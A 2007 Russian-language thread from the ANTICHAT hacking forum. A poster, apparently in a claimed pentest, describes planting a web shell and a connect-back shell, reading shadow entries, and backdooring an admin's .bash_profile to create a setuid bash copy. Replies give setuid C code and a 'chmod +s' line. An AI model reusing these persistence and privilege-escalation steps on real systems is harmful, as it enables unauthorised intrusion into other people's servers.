HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность > *nix
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Не работает Suid
  #1  
Старый 28.06.2007, 03:26
jur
Новичок
Регистрация: 27.06.2007
Сообщений: 1
С нами: 9933084

Репутация: 9
По умолчанию Не работает Suid

Вообщем, проблема такая.

Знакомый админ попросил протестировать его сервак на уязвимости. Мне удалось установить веб-шел и запустить Connect Back. При этом мои права были:
uid=48(apache) gid=48(apache) groups=48(apache)

На серваке крутился Linux 2.4.21-47.0.1.ELsmp Эксплоиты к ядру и сервисам не подошли. Однако мне удалось получить пароль к FTP аккаунту админа (логин dima). Возможности запустить файлы из домашней директории /home/dima не было, так как права на эту директорию были выставлены:
drwx------ 40 dima dima 4096 Jun 17 13:58 dima

Но мне повезло, админ юзал bash. Я вставил две строки в .bash_profile:
cp /bin/bash /usr/local/apache/htdocs/temp/sh > /dev/null 2>&1
chmod 4777 /usr/local/apache/htdocs/temp/sh > /dev/null 2>&1

Это сработало - при следующем входе админа в систему я поимел копию bash с установленным битом SUID:
-rwsrwxrwx 1 dima dima 585908 Jun 17 13:46 /usr/local/apache/htdocs/temp/sh

А вот после меня ждал облом - суидный bach ни в какую не хотел запускаться с правами dima. Запустив его через Connect Back, я не мог попасть в домашнюю директорию пользователя (админа) dima. А просмотрев запущенные процессы (через ps -aux), обнаружил, что суидный bach, был почему-то запущен от пользователя apache. В чем трабл?

Для полноты инофрмации:
- на директорию /usr/local/apache/htdocs/temp установлены права:
drwxrwxrwx 2 root root 4096 Jun 17 22:49
- в /etc/shadow (я его просмотрел через резервную копию каталога /etc, оставленную по ошибке админом в /tmp) запись для пользователя apache выглядит так:
apache:!!:12870:0:99999:7:::
То есть учетка была заблокирована (может в этом дело?)
- доступ к telnet и ssh отсутствует.
 

  #2  
Старый 29.06.2007, 14:26
andy13
Участник форума
Регистрация: 04.02.2007
Сообщений: 120
С нами: 10140086

Репутация: 36
По умолчанию

так должно сработать (если бы был uid 0):
Код:
#include<stdio.h>
int main(){
setuid(тут_uid_dima);
setgid(тут_gid_dima);
system("bash");
return 0;
}
собираем и добавляем в .bash_profile:
chmod +s /path_to_shell/shell > /dev/null 2>&1

добавлено позже:
гм, похоже, этот способ не подойдет.
когда uid отличен от 0, тоже ничего не получилось.
остается только в .bash_profile написать
интересующие команды и перенаправть вывод в файл.

брут shadow что-нть дал?

Последний раз редактировалось andy13; 29.06.2007 в 17:02..
 

  #3  
Старый 01.07.2007, 12:52
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
С нами: 10994966

Репутация: 1332


По умолчанию

имхо у каждого процесса есть реальный uid и эффективный: когда ты запускаешь файл с установленным suid, его реальный uid становится равным пользователю запустившем его, а эффективный uid владельца. так как владелец является суперпользователем ты имеешь право сделать в своем бекконнект шелле setuid(dima_id), что сменит реальный uid на админовский.
однако странно, что ps -aux показал имя apache, потому что эффективный id должен был быть dima'овским...
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Забытый флудер Dfm Rus успешно работает ))) LaMer0n Skype, IRC, ICQ, Jabber и другие IM 8 08.11.2007 20:32
Как работает хакерская экономика? KPOT_f!nd Мировые новости. Обсуждения. 10 19.02.2007 11:17
Faq Что делать, если компьютер не работает zl0ba Болталка 18 10.12.2006 11:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.